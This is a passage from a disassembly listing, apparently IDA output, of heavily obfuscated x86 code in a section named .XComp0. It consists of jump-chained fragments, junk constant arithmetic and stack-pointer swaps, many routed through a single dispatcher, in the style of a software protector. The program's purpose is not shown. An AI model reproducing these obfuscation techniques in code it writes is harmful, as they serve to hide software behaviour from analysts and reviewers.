loc_57BCD7: ; CODE XREF: .XComp0:00575493j shr esi, 8 add esi, 42B7025Ch jmp loc_576387 ; --------------------------------------------------------------------------- loc_57BCE5: ; CODE XREF: .XComp0:00578A7Cj pop edx jmp loc_5784C9 ; --------------------------------------------------------------------------- loc_57BCEB: ; CODE XREF: .XComp0:005754ABj add esp, 4 push ebx jmp loc_576E3C ; --------------------------------------------------------------------------- loc_57BCF7: ; CODE XREF: .XComp0:005809F8j push ecx mov ecx, 5649B4BEh sub eax, 5DD50EBEh add eax, ecx push edi mov edi, 7EE41478h push 0 sub [esp], edi pop edi sub esp, 4 mov [esp], esi mov esi, 34D6082Eh not esi shl esi, 2 xor esi, 0FE1038Eh jmp loc_580A81 ; --------------------------------------------------------------------------- loc_57BD31: ; CODE XREF: .XComp0:0057CD7Dj add ecx, 0B1AB51AAh jmp loc_575209 ; --------------------------------------------------------------------------- loc_57BD3C: ; CODE XREF: .XComp0:00573E69j jmp loc_573541 ; --------------------------------------------------------------------------- loc_57BD41: ; CODE XREF: .XComp0:00575043j push esi jmp loc_576480 ; --------------------------------------------------------------------------- loc_57BD47: ; CODE XREF: .XComp0:00582747j mov esi, [esp] add esp, 4 and esi, 61F37F40h jmp loc_57A6C3 ; --------------------------------------------------------------------------- loc_57BD58: ; CODE XREF: .XComp0:0057A52Fj pop edi push ebx mov ebx, 1E004EE2h push esi mov esi, 42F93915h mov eax, esi jmp loc_57F6AB ; --------------------------------------------------------------------------- loc_57BD6C: ; CODE XREF: .XComp0:0057D32Ej mov ebp, ecx mov esi, ebp pop ebp mov ebx, esi pop esi pop ecx and ebx, 2CD13DDh push edx mov edx, 524D5585h neg edx jmp loc_57DA99 ; --------------------------------------------------------------------------- loc_57BD88: ; CODE XREF: .XComp0:0058002Aj mov ebx, eax mov ebp, ebx pop ebx pop eax jmp loc_57B578 ; --------------------------------------------------------------------------- byte_57BD93 db 89h ; CODE XREF: .XComp0:00581F16j ; --------------------------------------------------------------------------- and al, 24h jmp loc_579D0B ; --------------------------------------------------------------------------- loc_57BD9B: ; CODE XREF: .XComp0:0057A0F4j ror word ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57BDA5: ; CODE XREF: .XComp0:0057BE88j shl ecx, 3 add ecx, 2DF4B214h xor ecx, 44D16E76h jmp loc_57A4FB ; --------------------------------------------------------------------------- loc_57BDB9: ; CODE XREF: .XComp0:0057BE14j add ebx, eax pop eax add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_57B085 ; --------------------------------------------------------------------------- loc_57BDC9: ; CODE XREF: .XComp0:0057FDE3j and bl, 0D5h sub bl, 0FDh shr bl, 2 sub bl, 90h xor dl, bl pop ebx sub bl, dl pop edx add bl, ah jmp loc_58104B ; --------------------------------------------------------------------------- loc_57BDE2: ; CODE XREF: .XComp0:0057A6AFj pop eax sub edx, eax pop eax mov eax, [esp] push edx mov edx, esp add edx, 4 jmp loc_57C1E7 ; --------------------------------------------------------------------------- loc_57BDF7: ; CODE XREF: .XComp0:005812A8j jmp loc_573541 ; --------------------------------------------------------------------------- mov cx, [esp] push 7F50h mov [esp], ebx push esp jmp loc_57F59C ; --------------------------------------------------------------------------- loc_57BE0E: ; CODE XREF: .XComp0:00582DDCj push eax mov eax, 4 jmp loc_57BDB9 ; --------------------------------------------------------------------------- loc_57BE19: ; CODE XREF: .XComp0:00577D5Cj sub esp, 2 jmp loc_583059 ; --------------------------------------------------------------------------- loc_57BE21: ; CODE XREF: .XComp0:0057FB9Aj add ebx, ebp pop ebp push edi mov edi, 1F4E3380h add ebx, edi jmp loc_574B35 ; --------------------------------------------------------------------------- loc_57BE31: ; CODE XREF: .XComp0:0057BC04j pop ebx add edx, edi jmp loc_57C17C ; --------------------------------------------------------------------------- loc_57BE39: ; CODE XREF: .XComp0:00577B3Bj xchg esi, [esp] mov esp, [esp] jmp loc_57D881 ; --------------------------------------------------------------------------- loc_57BE44: ; CODE XREF: .XComp0:005782A5j push ecx mov ecx, 2 push edi mov edi, 5BC33666h add edx, 165567BCh jmp loc_575F39 ; --------------------------------------------------------------------------- loc_57BE5B: ; CODE XREF: .XComp0:0057B964j mov [esp], ebx push ecx jmp loc_578F0A ; --------------------------------------------------------------------------- loc_57BE64: ; CODE XREF: .XComp0:005741CEj add ebx, 7B13EA5Eh sub [esp+4], ebx push dword ptr [esp] jmp loc_576A98 ; --------------------------------------------------------------------------- loc_57BE76: ; CODE XREF: .XComp0:00580563j push 6EFA228Bh pop ecx add ecx, 0D6A0915h sub ecx, 0FFFFFFFFh jmp loc_57BDA5 ; --------------------------------------------------------------------------- loc_57BE8D: ; CODE XREF: .XComp0:005776BFj pop esi sub ebx, 0F69799E4h push ebp mov ebp, 290F0E31h jmp loc_5778BC ; --------------------------------------------------------------------------- loc_57BE9F: ; CODE XREF: .XComp0:00574F1Ej mov eax, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push cx jmp loc_57D18A ; --------------------------------------------------------------------------- loc_57BEB2: ; CODE XREF: .XComp0:00582677j add ecx, 663C232Ah or esi, ecx pop ecx push eax sub esp, 4 jmp loc_5740F5 ; --------------------------------------------------------------------------- loc_57BEC7: ; CODE XREF: .XComp0:0057C9CEj pop edx push 1B06h mov [esp], eax jmp loc_57F41D ; --------------------------------------------------------------------------- loc_57BED5: ; CODE XREF: .XComp0:00582F99j push ecx mov ecx, 543E70EBh add eax, ecx pop ecx mov ecx, [esp] add esp, 4 push ecx push esp pop ecx jmp loc_5738E2 ; --------------------------------------------------------------------------- loc_57BEEF: ; CODE XREF: .XComp0:00577A19j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57BF05: ; CODE XREF: .XComp0:0057B631j push ebp mov ebp, 30D82C9Fh xor ebp, 23B37AFFh not ebp shr ebp, 3 sub ebp, 1D92952Fh add ebx, ebp pop ebp sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_573DBC ; --------------------------------------------------------------------------- loc_57BF2B: ; CODE XREF: .XComp0:0057AADDj push eax mov eax, 63EC22F6h sub eax, 63ED32F6h add edx, eax pop eax push ecx jmp loc_57AE0D ; --------------------------------------------------------------------------- loc_57BF3F: ; CODE XREF: .XComp0:00579053j push dword ptr [esp] pop ebx add esp, 4 push eax push esi mov si, 3D07h inc si add si, 4DCFh add si, 0E9AEh jmp loc_580254 ; --------------------------------------------------------------------------- loc_57BF60: ; CODE XREF: .XComp0:00574C28j mov dl, ah mov cl, dl pop edx pop eax mov ah, cl mov ecx, [esp] add esp, 4 jmp loc_5756AB ; --------------------------------------------------------------------------- loc_57BF76: ; CODE XREF: .XComp0:00573C07j pop ebp xor edx, [esp] jmp loc_57C276 ; --------------------------------------------------------------------------- loc_57BF7F: ; CODE XREF: .XComp0:0057C681j push ebp jmp loc_5804A4 ; --------------------------------------------------------------------------- loc_57BF85: ; CODE XREF: .XComp0:00580F8Fj pop edi push ebp mov ebp, 69365318h dec ebp jmp loc_57DF9F ; --------------------------------------------------------------------------- loc_57BF92: ; CODE XREF: .XComp0:00575FD6j mov edx, 554149C6h add edx, 338E4775h or edx, 1ED91CD4h sub edx, 28365992h push ebp mov ebp, 7C062928h sub edx, ebp pop ebp not edx xor edx, 6D78AA5Bh add esi, edx pop edx add edi, esi pop esi xchg edi, [esp] pop esp jmp loc_573541 ; --------------------------------------------------------------------------- loc_57BFC9: ; CODE XREF: .XComp0:005793D3j pop esp pop ebp push edi push ebx mov ebx, 60A363F8h mov edi, 9F5C9C09h jmp loc_577DF0 ; --------------------------------------------------------------------------- loc_57BFDC: ; CODE XREF: .XComp0:0057824Dj mov eax, 2 mov edx, eax pop eax add ebp, edx pop edx jmp loc_57FC7F ; --------------------------------------------------------------------------- loc_57BFEC: ; CODE XREF: .XComp0:00576DABj pop esp mov [esp], eax jmp loc_573541 ; --------------------------------------------------------------------------- loc_57BFF5: ; CODE XREF: .XComp0:0057B02Bj inc edi jmp loc_581E57 ; --------------------------------------------------------------------------- loc_57BFFB: ; CODE XREF: .XComp0:00573B84j not ebp jmp loc_579591 ; --------------------------------------------------------------------------- loc_57C002: ; CODE XREF: .XComp0:0057F77Ej sub esi, 7E62EF0h mov edi, esi mov esi, [esp] add esp, 4 mov ebx, 0C9E7B0F9h add ebx, edi pop edi add edi, ebx mov ebx, [esp] add esp, 4 add edi, 2 push edi jmp loc_57B0E5 ; --------------------------------------------------------------------------- loc_57C02C: ; CODE XREF: .XComp0:00581918j pop edx jmp loc_577052 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57C039: ; CODE XREF: .XComp0:0057AABCj push dword ptr [esp] jmp loc_57E26E ; --------------------------------------------------------------------------- loc_57C041: ; CODE XREF: .XComp0:005824C6j pop esp or [esp], al pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57C04B: ; CODE XREF: .XComp0:0057C46Bj sub edi, 4 xchg edi, [esp] pop esp jmp loc_575B58 ; --------------------------------------------------------------------------- loc_57C057: ; CODE XREF: .XComp0:005827A8j mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5736A6 ; --------------------------------------------------------------------------- loc_57C06F: ; CODE XREF: .XComp0:00582C29j push esp pop ebx sub esp, 4 jmp loc_57A7CF ; --------------------------------------------------------------------------- loc_57C079: ; CODE XREF: .XComp0:00583410j xor al, cl mov cx, [esp] jmp loc_582EF8 ; --------------------------------------------------------------------------- loc_57C084: ; CODE XREF: .XComp0:00576C34j pop esp sub esp, 4 mov [esp], ebx jmp loc_579AD9 ; --------------------------------------------------------------------------- loc_57C093: ; CODE XREF: .XComp0:00578E3Aj or eax, 358C359Fh sub eax, 3D51D69h sub eax, 3128370Eh sub eax, 0C0A06144h add edi, eax pop eax push esi jmp loc_57809F ; --------------------------------------------------------------------------- loc_57C0B0: ; CODE XREF: .XComp0:005773A4j add esp, 4 sub esp, 4 jmp loc_582FF7 ; --------------------------------------------------------------------------- loc_57C0C1: ; CODE XREF: .XComp0:0057E4AAj mov [esp], esi mov esi, 6ED6586Ch jmp loc_576889 ; --------------------------------------------------------------------------- loc_57C0CE: ; CODE XREF: .XComp0:00578D7Dj mov eax, 0E54E0FF2h add eax, ebx pop ebx add eax, 543D75h jmp loc_579754 ; --------------------------------------------------------------------------- loc_57C0E0: ; CODE XREF: .XComp0:005742BDj mov ebx, ecx jmp loc_574183 ; --------------------------------------------------------------------------- loc_57C0E7: ; CODE XREF: .XComp0:0057EECBj shr ch, 2 shr ch, 1 jmp loc_579DE2 ; --------------------------------------------------------------------------- loc_57C0F1: ; CODE XREF: .XComp0:00578517j add esp, 4 xor eax, 41E317Ah sub eax, 0C0EA1D01h xor esi, eax pop eax and eax, esi pop esi or eax, eax jz loc_580BB9 push dword ptr [edi+1Ch] jmp loc_57A3B5 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_582711 ; --------------------------------------------------------------------------- loc_57C11C: ; CODE XREF: .XComp0:0057B442j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 3239h jmp loc_5783F1 ; --------------------------------------------------------------------------- loc_57C136: ; CODE XREF: .XComp0:0057CCCDj sub esi, 7D22535Fh dec esi jmp loc_5803AF ; --------------------------------------------------------------------------- loc_57C142: ; CODE XREF: .XComp0:005766DFj push edx mov dh, ch not dh jmp loc_57EEC6 ; --------------------------------------------------------------------------- loc_57C14C: ; CODE XREF: .XComp0:0057C282j add esp, 4 push 5D4Bh mov [esp], ecx jmp loc_57B86F ; --------------------------------------------------------------------------- loc_57C15F: ; CODE XREF: .XComp0:0057DD8Bj mov [esp], esi mov esi, 4C6103EEh xor edx, esi pop esi add eax, edx pop edx sub esp, 4 jmp loc_5806A7 ; --------------------------------------------------------------------------- loc_57C175: ; CODE XREF: .XComp0:00582365j add eax, ecx jmp loc_575E1B ; --------------------------------------------------------------------------- loc_57C17C: ; CODE XREF: .XComp0:0057BE34j pop edi sub edx, 4 xchg edx, [esp] pop esp jmp loc_578FD0 ; --------------------------------------------------------------------------- loc_57C189: ; CODE XREF: .XComp0:00581084j add ecx, 0B900239h push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push 7E24h mov [esp], ecx jmp loc_57752B ; --------------------------------------------------------------------------- loc_57C1B5: ; CODE XREF: .XComp0:0057ED06j push dword ptr [esp] mov eax, [esp] add esp, 4 push 7A14h mov [esp], edi jmp loc_57D781 ; --------------------------------------------------------------------------- loc_57C1CE: ; CODE XREF: .XComp0:00577D3Aj and ebx, 6B1B0E46h add ebx, 0D5E9FA00h and eax, ebx mov ebx, [esp] add esp, 4 jmp loc_57B891 ; --------------------------------------------------------------------------- loc_57C1E7: ; CODE XREF: .XComp0:0057BDF2j add edx, 4 xchg edx, [esp] pop esp push edi mov edi, esp jmp loc_57FA0C ; --------------------------------------------------------------------------- loc_57C1F9: ; CODE XREF: .XComp0:0058296Bj add ebx, 2B4A49B4h not ebx add ebx, 701C6DA1h add edi, ebx pop ebx xchg edi, edx shr edx, 1 jmp loc_579B0C ; --------------------------------------------------------------------------- loc_57C213: ; CODE XREF: .XComp0:0057E0D5j sub esp, 4 jmp loc_57D05F ; --------------------------------------------------------------------------- loc_57C21E: ; CODE XREF: .XComp0:00579F18j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] jmp loc_5827AD ; --------------------------------------------------------------------------- loc_57C23A: ; CODE XREF: .XComp0:005784A7j xor ebp, 31684C1Ah pop edi sub ebp, 36910229h sub ebp, 343272B7h push ecx mov ecx, 2B16552Eh add ebp, ecx pop ecx jmp loc_578A81 ; --------------------------------------------------------------------------- mov ecx, [esp] push 755Dh mov [esp], ecx mov ecx, esp push edi jmp loc_57CE02 ; --------------------------------------------------------------------------- loc_57C26E: ; CODE XREF: .XComp0:00574267j mov esp, [esp] jmp loc_57EB29 ; --------------------------------------------------------------------------- loc_57C276: ; CODE XREF: .XComp0:0057BF7Aj xor [esp], edx xor edx, [esp] mov esp, [esp] mov ebx, [esp] jmp loc_57C14C ; --------------------------------------------------------------------------- loc_57C287: ; CODE XREF: .XComp0:00578BF9j shr ebp, 6 and ebp, 496278D7h jmp loc_57972C ; --------------------------------------------------------------------------- loc_57C295: ; CODE XREF: .XComp0:0058076Aj xchg edi, [esp] jmp loc_57DAFF ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57C2A4: ; CODE XREF: .XComp0:0057E555j mov eax, 4 add ecx, eax pop eax push edx mov edx, 4 add ecx, 0CCF0FCAh jmp loc_57BC1D ; --------------------------------------------------------------------------- loc_57C2BD: ; CODE XREF: .XComp0:0057DBAEj mov [esp], edx mov edx, 56D57EB4h add eax, edx mov edx, [esp] add esp, 4 add eax, 615A0086h jmp loc_57DE41 ; --------------------------------------------------------------------------- loc_57C2DA: ; CODE XREF: .XComp0:0057BA5Aj sub eax, ecx pop ecx jmp loc_57B6C7 ; --------------------------------------------------------------------------- loc_57C2E2: ; CODE XREF: .XComp0:0057A427j push 2D57h mov [esp], esp push ebx mov ebx, 4 jmp loc_57D37E ; --------------------------------------------------------------------------- loc_57C2F5: ; CODE XREF: .XComp0:00576070j push 6A26h mov [esp], ecx jmp loc_573541 ; --------------------------------------------------------------------------- loc_57C302: ; CODE XREF: .XComp0:0057A599j pop esp push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push 595Dh mov [esp], eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_57A2C4 ; --------------------------------------------------------------------------- loc_57C343: ; CODE XREF: .XComp0:00577E70j or eax, edi pop edi push edi mov edi, 744E5BF4h add edi, 0BD69D250h or eax, edi pop edi xor eax, 7DBB2FFBh add esi, eax pop eax push eax jmp loc_57D7F6 ; --------------------------------------------------------------------------- loc_57C363: ; CODE XREF: .XComp0:0058150Fj not ecx xchg ecx, [esp] jmp loc_573553 ; --------------------------------------------------------------------------- loc_57C36D: ; CODE XREF: .XComp0:0057C59Fj xor esi, 0BE3EAE3Ch sub ebp, 60654FBh sub ebp, esi add ebp, 60654FBh mov esi, [esp] add esp, 4 sub ebp, 0BFB3786Ah push ebp add dword ptr [esp], 35B96FDCh pop ebx sub esp, 4 mov [esp], edx jmp loc_583498 ; --------------------------------------------------------------------------- loc_57C3A1: ; CODE XREF: .XComp0:0057951Dj sub bl, 0FBh sub bl, al add bl, 0FBh sub bl, 37h sub esp, 2 mov [esp], dx mov dl, 0C3h add bl, dl pop dx movzx eax, al lea eax, [edi+eax*4] push 691Ah mov [esp], eax jmp loc_573541 ; --------------------------------------------------------------------------- loc_57C3CF: ; CODE XREF: .XComp0:0058000Dj xor ecx, 434D6FECh sub ecx, 0B8D4E722h xor eax, ecx jmp loc_579AD3 ; --------------------------------------------------------------------------- loc_57C3E2: ; CODE XREF: .XComp0:00579918j push ebp jmp loc_582C15 ; --------------------------------------------------------------------------- loc_57C3E8: ; CODE XREF: .XComp0:00577925j sub ebp, edx pop edx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] jmp loc_57EBAE ; --------------------------------------------------------------------------- loc_57C3FA: ; CODE XREF: .XComp0:0057AD01j rep movsd jmp loc_577100 ; --------------------------------------------------------------------------- loc_57C401: ; CODE XREF: .XComp0:0057FD02j push esi jmp loc_58209F ; --------------------------------------------------------------------------- loc_57C407: ; CODE XREF: .XComp0:0057B718j pop esp push ebp mov ebp, 199C383Fh add ebx, ebp jmp loc_5741A9 ; --------------------------------------------------------------------------- loc_57C415: ; CODE XREF: .XComp0:0057F643j pop dword ptr [esp] push ebx jmp loc_5807F9 ; --------------------------------------------------------------------------- loc_57C41E: ; CODE XREF: .XComp0:0057D735j mov esi, 18DC158Eh add esi, edx mov edx, [esp] jmp loc_5735B9 ; --------------------------------------------------------------------------- loc_57C42D: ; CODE XREF: .XComp0:00582816j push 75F20593h jmp loc_57B5D8 ; --------------------------------------------------------------------------- loc_57C437: ; CODE XREF: .XComp0:005807F4j push edx mov edx, 53760Eh xor edx, 51D409B9h sub edx, 331A31B5h or edx, 1B937579h xor edx, 6698191Ch xor eax, edx jmp loc_57B586 ; --------------------------------------------------------------------------- loc_57C45C: ; CODE XREF: .XComp0:0057CA3Aj add ecx, 4 push edi mov edi, esp add edi, 4 jmp loc_57C04B ; --------------------------------------------------------------------------- loc_57C470: ; CODE XREF: .XComp0:0057A66Aj xchg ebp, [esp] pop esp mov [esp], eax push edi jmp loc_576FDC ; --------------------------------------------------------------------------- loc_57C47D: ; CODE XREF: .XComp0:00580D4Ej push ebx mov ebx, 0DAF00B74h jmp loc_57FB45 ; --------------------------------------------------------------------------- loc_57C488: ; CODE XREF: .XComp0:0057E059j mov [esp], ebx mov bl, 45h push edx sub esp, 4 mov [esp], ebx mov bh, 0D5h push eax jmp loc_578F46 ; --------------------------------------------------------------------------- loc_57C49C: ; CODE XREF: .XComp0:005787D3j mov di, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] push esi push esp jmp loc_57497D ; --------------------------------------------------------------------------- loc_57C4B8: ; CODE XREF: .XComp0:00578EAEj sub esp, 4 mov [esp], ebx jmp loc_581057 ; --------------------------------------------------------------------------- loc_57C4C6: ; CODE XREF: .XComp0:0057B4CBj sub edx, ebx jmp loc_579EC9 ; --------------------------------------------------------------------------- loc_57C4CD: ; CODE XREF: .XComp0:0057ACC1j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_575508 ; --------------------------------------------------------------------------- loc_57C4DB: ; CODE XREF: .XComp0:00579EDAj add ecx, 4 jmp loc_58331D ; --------------------------------------------------------------------------- lodsd jmp loc_579522 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx jmp loc_573BA1 ; --------------------------------------------------------------------------- loc_57C4FB: ; CODE XREF: .XComp0:00580974j pop ebx sub esp, 4 mov [esp], edx mov edx, 4 add edi, 12062843h add edi, edx sub edi, 12062843h mov edx, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57C529: ; CODE XREF: .XComp0:0057664Fj push ebp mov ebp, 6A4A2052h jmp loc_57A00E ; --------------------------------------------------------------------------- loc_57C534: ; CODE XREF: .XComp0:00576D4Bj mov esi, esp jmp loc_57E34E ; --------------------------------------------------------------------------- loc_57C53B: ; CODE XREF: .XComp0:0057EC9Fj push ecx jmp loc_57E6A4 ; --------------------------------------------------------------------------- loc_57C541: ; CODE XREF: .XComp0:0057A55Fj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ebx mov ebx, 77545BB1h push ebx mov ebx, 23E15119h jmp loc_57D195 ; --------------------------------------------------------------------------- loc_57C55E: ; CODE XREF: .XComp0:0057DAB5j xor edx, ebp jmp loc_57671B ; --------------------------------------------------------------------------- loc_57C565: ; CODE XREF: .XComp0:0057EFDAj mov edx, 41FE4064h mov edi, 9FC0370h xor edi, edx pop edx xor edi, 6CF254C6h not edi sub edi, 53A625DDh shl edi, 4 xor edi, 44343FEFh sub edi, 1E40F6Bh xor edx, edi pop edi not edx jmp loc_57A7E4 ; --------------------------------------------------------------------------- loc_57C599: ; CODE XREF: .XComp0:0057E3EDj xor esi, 363E0E32h jmp loc_57C36D ; --------------------------------------------------------------------------- loc_57C5A4: ; CODE XREF: .XComp0:0057D2C4j sub edi, 3B3B6711h add edi, eax add edi, 3B3B6711h pop eax xor edi, 4D1426A3h push edi jmp loc_579D87 ; --------------------------------------------------------------------------- loc_57C5BF: ; CODE XREF: .XComp0:005834A8j sub dword ptr [esp], 47BF03D6h push edi push edx jmp loc_5767BD ; --------------------------------------------------------------------------- loc_57C5CD: ; CODE XREF: .XComp0:00574970j mov ecx, [esp] jmp loc_57D6F3 ; --------------------------------------------------------------------------- loc_57C5D5: ; CODE XREF: .XComp0:00579CA9j mov esi, eax pop eax sub ebx, esi mov esi, [esp] jmp loc_5824B0 ; --------------------------------------------------------------------------- loc_57C5E2: ; CODE XREF: .XComp0:005827BFj mov ebp, esp push esi mov esi, 0B3A3FCAh and esi, 709951C7h shr esi, 5 push 6B71h mov [esp], eax mov eax, 2FDA0DCDh push ebx jmp loc_581A1C ; --------------------------------------------------------------------------- loc_57C606: ; CODE XREF: .XComp0:00583301j mov ebp, 34231487h push ebp not dword ptr [esp] pop ebp shl ebp, 3 push edx push edi jmp loc_57AF66 ; --------------------------------------------------------------------------- push 536h mov [esp], ecx mov ecx, 3Ch add ecx, edi push dword ptr [ecx] sub esp, 4 mov [esp], ecx jmp loc_583597 ; --------------------------------------------------------------------------- loc_57C639: ; CODE XREF: .XComp0:0057941Ej add edi, 4 add edi, 4 push 570h jmp loc_57E08B ; --------------------------------------------------------------------------- loc_57C64F: ; CODE XREF: .XComp0:0057DEB1j mov ebp, 7CFE7865h not ebp neg ebp sub ebp, 3F755367h and ebp, 2F510357h add ebp, 32733EAEh sub edi, ebp pop ebp push edx mov edx, 5B4347DFh not edx jmp loc_577BD1 ; --------------------------------------------------------------------------- loc_57C67A: ; CODE XREF: .XComp0:005832EDj pop edi add edi, 4 jmp loc_57BF7F ; --------------------------------------------------------------------------- loc_57C686: ; CODE XREF: .XComp0:00575D92j sub eax, 0C0313158h add ebp, eax jmp loc_5766E4 ; --------------------------------------------------------------------------- loc_57C692: ; CODE XREF: .XComp0:00582AE7j push ebp push edi mov edi, 6366F78h not edi jmp loc_57DCF7 ; --------------------------------------------------------------------------- loc_57C6A0: ; CODE XREF: .XComp0:005792B4j mov esi, 3277298Eh jmp loc_578302 ; --------------------------------------------------------------------------- loc_57C6AA: ; CODE XREF: .XComp0:0057F75Bj add esp, 4 and ecx, ebp pop ebp xor ecx, 4 push ebp mov ebp, ecx mov edi, ebp pop ebp mov ecx, [esp] add esp, 4 and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 0Ah push ebx push ebp push esp jmp loc_57AF2C ; --------------------------------------------------------------------------- loc_57C6D5: ; CODE XREF: .XComp0:0057489Aj add dword ptr [esp], 42C23D0Eh pop esi sub esi, 42C23D0Eh mov edi, [esp] push 53F9h mov [esp], esi mov esi, esp jmp loc_57CF24 ; --------------------------------------------------------------------------- loc_57C6F5: ; CODE XREF: .XComp0:00582841j add esi, edi mov edi, [esp] add esp, 4 jmp loc_581DCD ; --------------------------------------------------------------------------- loc_57C702: ; CODE XREF: .XComp0:00579AFFj sub eax, 5ECD10C0h sub eax, 2F47B2Fh mov ecx, [esp] add esp, 4 add eax, 2 xchg eax, [esp] mov esp, [esp] mov cx, [esp] push edi mov edi, esp push 4324h mov [esp], ecx mov ecx, 22ED6A13h xor ecx, 0CF0129Bh or ecx, 4E242312h push esi mov esi, 4A402924h neg esi jmp loc_577761 ; --------------------------------------------------------------------------- loc_57C74A: ; CODE XREF: .XComp0:00582164j push dword ptr [esp+4] pop ebx jmp loc_573BFD ; --------------------------------------------------------------------------- loc_57C754: ; CODE XREF: .XComp0:00578B4Bj push 911h mov [esp], edi push ebp mov ebp, ecx jmp loc_57562D ; --------------------------------------------------------------------------- loc_57C764: ; CODE XREF: .XComp0:0057F36Aj xor ebp, 0E351C087h mov ecx, ebp pop ebp jmp loc_57A9BE ; --------------------------------------------------------------------------- loc_57C772: ; CODE XREF: .XComp0:00579DFBj add esp, 4 and eax, edi push dword ptr [esp] pop edi jmp loc_57A0F9 ; --------------------------------------------------------------------------- loc_57C780: ; CODE XREF: .XComp0:005812D3j pop edx push esi push eax jmp loc_5800A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57C788: ; CODE XREF: sub_5A47B5-220A9j shr dh, 1 dec dh xor dh, 9Dh add dh, 0F2h jmp loc_580349 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57C797: ; CODE XREF: .XComp0:005777A5j pop ebp sub eax, ebx pop ebx jmp loc_580E09 ; --------------------------------------------------------------------------- loc_57C7A0: ; CODE XREF: .XComp0:005793CBj pop edi add ebx, esi push dword ptr [esp] pop esi push ecx push esp pop ecx add ecx, 4 jmp loc_5816B6 ; --------------------------------------------------------------------------- loc_57C7B5: ; CODE XREF: .XComp0:0058130Ej mov si, 7351h jmp loc_579E00 ; --------------------------------------------------------------------------- loc_57C7BE: ; CODE XREF: .XComp0:0058269Aj add eax, 36F01F05h add eax, edx jmp loc_576D23 ; --------------------------------------------------------------------------- loc_57C7CA: ; CODE XREF: .XComp0:00573744j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_5832F2 ; --------------------------------------------------------------------------- loc_57C7D8: ; CODE XREF: .XComp0:0057B99Bj pop edx push edi jmp loc_57A5BA ; --------------------------------------------------------------------------- loc_57C7DF: ; CODE XREF: .XComp0:0057826Dj xor edi, 2C62239h mov esi, edi pop edi neg esi sub esi, 0B2F1557h sub esi, 70086344h add esi, 0B0E802FEh sub esi, 9966B2B9h sub esi, eax pop eax sub eax, esi jmp loc_581FC4 ; --------------------------------------------------------------------------- loc_57C80C: ; CODE XREF: .XComp0:0057D741j mov ebx, 3A184F8Dh sub ebx, 4616782Dh jmp loc_57ED21 ; --------------------------------------------------------------------------- loc_57C81C: ; CODE XREF: .XComp0:005819C6j or ah, 0C4h xor ah, 81h sub bh, 0E5h sub bh, 0C1h add bh, 0FAh add bh, ah sub bh, 0FAh push 175Bh jmp loc_582DAE ; --------------------------------------------------------------------------- loc_57C83A: ; CODE XREF: .XComp0:0057FE44j push dword ptr [esp] pop ebp add esp, 4 jmp loc_57F9C1 ; --------------------------------------------------------------------------- loc_57C846: ; CODE XREF: .XComp0:00577B9Aj pop eax push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_578AAA ; --------------------------------------------------------------------------- loc_57C857: ; CODE XREF: .XComp0:00581F48j push ecx mov ecx, 23071B30h mov edx, ecx jmp loc_580094 ; --------------------------------------------------------------------------- loc_57C864: ; CODE XREF: .XComp0:00583290j inc edi shl edi, 1 jmp loc_5756BE ; --------------------------------------------------------------------------- loc_57C86C: ; CODE XREF: .XComp0:00579A8Dj add ebx, edi jmp loc_579127 ; --------------------------------------------------------------------------- loc_57C873: ; CODE XREF: .XComp0:00576A93j shr ebx, 6 and ebx, 0C006CC8h and ebx, 4CD964A1h sub ebx, 63FCh jmp loc_57ADCA ; --------------------------------------------------------------------------- loc_57C88D: ; CODE XREF: .XComp0:0057CB3Dj xchg ecx, [esp] jmp loc_578EC7 ; --------------------------------------------------------------------------- loc_57C895: ; CODE XREF: .XComp0:00573E5Ej sub al, bl jmp loc_579286 ; --------------------------------------------------------------------------- loc_57C89C: ; CODE XREF: .XComp0:00579000j pop esp jmp loc_5775B3 ; --------------------------------------------------------------------------- loc_57C8A2: ; CODE XREF: .XComp0:005800A8j mov edi, 0AC58CD4Ch mov esi, edi pop edi add esi, 37082FBAh sub esi, eax sub esi, 37082FBAh pop eax shl esi, 6 shr esi, 6 jmp loc_58315D ; --------------------------------------------------------------------------- mov cx, [esp] push edi push esp pop edi jmp loc_57A48A ; --------------------------------------------------------------------------- loc_57C8D0: ; CODE XREF: .XComp0:005827E7j mov ecx, [esp] jmp loc_5787A7 ; --------------------------------------------------------------------------- loc_57C8D8: ; CODE XREF: .XComp0:00575196j push dword ptr [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_57E1BE ; --------------------------------------------------------------------------- loc_57C8E9: ; CODE XREF: .XComp0:0057EFC2j pop eax sub esp, 4 jmp loc_580C25 